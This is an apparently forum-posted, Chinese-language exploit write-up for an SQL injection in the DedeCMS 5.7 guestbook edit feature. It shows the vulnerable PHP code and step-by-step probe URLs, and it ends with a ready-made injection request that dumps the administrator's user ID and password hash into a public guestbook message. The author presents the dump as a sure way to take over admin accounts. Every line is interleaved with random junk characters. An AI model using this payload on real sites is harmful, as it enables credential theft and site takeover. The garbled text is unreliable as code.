影响版本为5.78 y R. T( R6 g2 Y% ~' [. Q' l1 Q1 E
; @; t3 c3 x' ^# m
漏洞文件edit.inc.php具体代码:
0 k% q! v+ x1 r) R* x$ o( {8 p) Z3 Y5 V M; U
< ?php 0 z/ _/ ]% q3 p" c/ B. e2 _
& R& G7 [, q( Hif(!defined('DEDEINC')) exit('Request Error!');
8 {/ d, L" r8 P" ^9 x+ ]
+ |/ `" V( X1 S# _9 |/ T4 U( ]
7 }: s) h2 |* Q* X0 P& H; b6 I& l
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
, w: @9 Y: t2 a2 w6 L ~: Y7 d6 T* y) b, Q, [
else $GUEST_BOOK_POS = "guestbook.php";
( e( p2 H, p& \6 k/ W/ T3 h0 L7 z& B3 Z0 g- i5 {
) u, R$ a3 S, t" Z, P: i- X' l$ o3 `- j
$id = intval($id); ' k$ v# `0 M2 F, ^: r4 [$ n: |
! E' P' S' d" [ }/ eif(empty($job)) $job='view';
1 C) |% E' W$ s# [5 a! W
: ^9 F }7 a, {( W8 ?) V
7 {; \4 v) ]* ^; q3 ^
$ w- L% o0 u% I2 |' Z+ Lif($job=='del' && $g_isadmin)
4 l2 U1 w- T1 X0 W% x
% ]' \( t- |" D* D: S/ }* n/ G{ - c6 x6 \9 H. u& ?
' ~+ N" c# P+ Q1 m& {) b
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ' o8 D$ ?) a3 p& F
8 c" q5 x |& r* \6 h2 v9 m3 vShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 3 M# m: M- X- a$ s" T4 z5 Z) w
9 O" B! M* B2 a7 _5 ~
exit();
4 J3 m- a. y7 H; l3 Z6 H# x4 Z/ x+ ` C" g7 [# I( x! t
} 3 w6 _5 q4 K% T4 D3 y) h! S
+ V I5 n, V5 R3 d
else if($job=='check' && $g_isadmin) ?2 V- F, g3 @: c+ D
. ^- y5 U& m7 U2 J3 A2 l{
5 t$ ?& w @7 ^; ]$ k
& s6 d, o+ j* w. q5 ]; v$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 3 c) x3 x/ k1 a2 F% a5 }$ F3 B; A8 ^
: g/ }# W) [, N) Y& f
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
% E2 Z1 ~ Q; H) R, z; M/ }6 \% Q5 z/ z9 X- P$ o4 k5 Q
exit();
0 k, X! ]( ]+ y' [! l6 S) s6 k* `: J
} 0 e0 Q) Y! k7 Z. L
8 R8 ~4 l& k/ kelse if($job=='editok') * }& {0 q1 M8 J. w! A+ H) W
3 x) Q W, e6 w x9 @) O3 ^{ % i$ c4 w2 M2 g8 Z$ x
; `: K. n+ @# l3 L- m. c( _$remsg = trim($remsg); ! r/ X1 b- \: _; ^) y
" \% P( u0 M, A" A1 g2 w1 x
if($remsg!='')
! _. Z9 C7 _: M3 v% w8 \$ i
) A7 N1 }* l; b+ |{ + O1 t+ K/ ]) T* V: M6 ]+ [5 b. o
) ] b+ P& E) {% m& ?: _//管理员回复不过滤HTML By:Errorera blog:errs.cc % @( P" N( E" l1 x" p) a+ W5 Z
9 `2 K0 d$ P3 h" [3 z6 a4 c6 Oif($g_isadmin) \2 y, s' V/ [* i( j
9 F3 N6 N; E! S O6 F' ?
{ $ I# g5 @$ }% M+ q0 \) v( v
& {7 S# e. x8 E9 l6 m9 d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 6 U' \# b2 a- W
! t. f9 r; }! A6 b& ?
//$remsg <br /><font color=red>管理员回复:</font> } ( U3 v2 }% X9 W) T
0 P* q& o* t: w" Belse
2 _: a& b* ~ z( s* M6 n- B# Q4 ?/ b3 x0 v; |- Q
{
( }; Z; Y" l2 B6 o1 i+ ~, t6 R- ]& v9 n3 U+ G4 M6 D1 j
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
0 O" N5 X; {2 z3 \# G" v8 D3 {: `" r
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
% z: e3 F, N _# e; J8 W: f- K
% h3 K/ N" H$ _$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
) n+ M$ R6 s( x1 g$ v
& e& {5 m! a% e; a$msg = $oldmsg.$remsg; . C+ I$ o! R' ^0 Z4 Z0 h0 H
# b( k9 C" e2 ?8 p5 ?, e; _& A
} ) ?: H/ O& H* w2 C. [8 S
$ V W+ j7 u. l; @9 ~) m} ! m! X. z+ s- |$ \) N" \
k r* N+ z1 P" [4 ]& @5 J
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
: {* O9 z% H7 z, h# \7 l$ O& `. _7 c! W- n; m! x: b
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); $ F* {! l8 K) I n6 m
3 V" L z+ h0 J" v# ]9 R* R, a3 gShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 4 ~7 x. o0 W) p3 s# P
: x- Y. M' H+ Bexit();
! j2 O3 }( O$ x* V) L4 Q, l* V7 H9 e: ^& i* g+ w0 |
} & h `( T5 O" v8 \" k- Q
5 f, G1 T2 G% z( S: h) ?
//home:www.errs.cc
. _+ z+ V i( z4 O+ I( A r/ C1 A9 q1 R' @) G7 ]
if($g_isadmin)
1 P: P; {0 V% _, ^+ e$ {2 O7 Z
" M' N7 M* B, M4 Q( d7 Q* o9 v1 |' Z) ~{ / e+ H8 t S& d: ?
3 d- j$ j0 O c; ^$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
. A5 h( k3 q% E
$ D" Y; _! A) L! ^2 Y2 `require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); : k4 P- D K! o3 c8 h& A! x2 Q; X
2 j, ]9 g% E5 c" Z2 h1 Q6 [}
4 f: Y& u3 q9 ?* K- |0 f! ?5 k& c- \. N
else v! i6 u5 H& q: `% c' w0 Q
8 Y2 @- ~8 ~% v# V{
: z0 m: u4 \1 [( B3 f. p/ h- R. M, g2 p: b7 {3 O. Q* F" P% D
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); , y i/ |$ G' q2 O0 ]; N M
M8 I, P, N7 ^& j G N
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
4 h) F% c7 T' `+ p) w" b" Z, i8 S/ ~8 B! c
} 漏洞成功需要条件:
. W6 V$ g* S9 h" V% X1. php magic_quotes_gpc=off
+ [& f6 [- P W4 J2 P `# b8 |2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! S% z" }& v+ p( _$ A) f+ ~9 f
; h1 J$ R2 d! Z怎么判断是否存在漏洞:5 L/ h1 q* O$ R6 ]7 S* ?
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
& {2 M, G* v$ d k: G+ f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% e \" D0 Q% i访问:9 d- L+ z' M2 }
0 N7 B4 R# K9 `3 @, k9 E# L! Fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
1 o \. f- j2 g跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. V; _$ `4 T- }+ d7 i4 d; Y+ U/ F7 C$ v. U! w* [- l
9 C7 C5 Z+ S) Y明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ U; C, Y* a9 X' P! I7 I7 d9 W& T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。! C" G% \' I$ n( [$ \8 k& O
那么再次访问9 T. \4 I* u& _" f) i2 `
, S, p9 G; h5 w5 j1 ^4 r. m- awww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().! g+ r+ N" Q3 j8 \6 z, b) W
7 ]7 j% k4 N8 _5 K8 o3 D
大概利用就是这样,大家有兴趣的多研究下!!
; }# l5 g6 R. N5 G2 A5 o1 R. p' T/ ~% i3 E, A. `3 h
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ v/ \+ T6 Y: p h9 l& O
7 j; B( ~0 Z" y6 J% ~
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |